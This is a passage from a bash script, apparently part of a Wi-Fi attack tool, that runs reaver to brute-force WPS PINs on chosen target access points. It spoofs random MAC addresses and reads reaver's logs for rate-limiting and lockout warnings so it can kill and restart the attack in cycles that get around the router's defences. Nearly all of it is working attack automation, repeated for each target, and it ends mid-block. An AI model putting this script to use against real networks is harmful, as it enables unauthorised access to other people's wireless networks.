if [[ $USE_R13 == n || $USE_R13 == N ]] && [[ $USE_LONG13 == y || $USE_LONG13 == Y ]] && [[ $USE_PIN13 == y || $USE_PIN13 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME13"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL13"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP13"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE13 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME13-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL13 -b $TARGETAP13 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN13 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME13-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE13-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R13 == y || $USE_R13 == Y ]] && [[ $USE_LONG13 == y || $USE_LONG13 == Y ]] && [[ $USE_PIN13 == y || $USE_PIN13 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME13"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL13"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP13"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX13" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY13"
echo -e "$info Reaver live time                   = $yel$LIVE13 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME13-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL13 -b $TARGETAP13 -r $RX13:$RY13 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN13 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME13-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE13-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE13 == n ] || [ $KEEP_FILE13 == N ]; then

          rm VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R14 == n || $USE_R14 == N ]] && [[ $USE_LONG14 == n || $USE_LONG14 == N ]] && [[ $USE_PIN14 == n || $USE_PIN14 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME14"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL14"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP14"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE14 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME14-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL14 -b $TARGETAP14 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME14-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE14-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R14 == y || $USE_R14 == Y ]] && [[ $USE_LONG14 == n || $USE_LONG14 == N ]] && [[ $USE_PIN14 == n || $USE_PIN14 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME14"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL14"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP14"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX14" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY14"
echo -e "$info Reaver live time                   = $yel$LIVE14 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME14-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL14 -b $TARGETAP14 -vv -x 60 -r $RX14:$RY14 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME14-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE14-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP14 (ESSID: $NMEWARN14)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R14 == n || $USE_R14 == N ]] && [[ $USE_LONG14 == y || $USE_LONG14 == Y ]] && [[ $USE_PIN14 == n || $USE_PIN14 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME14"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL14"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP14"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE14 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME14-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL14 -b $TARGETAP14 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME14-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE14-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME14-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME14-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME14-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME14-$DATEFILE-$PAD | awk '{print $5}'`

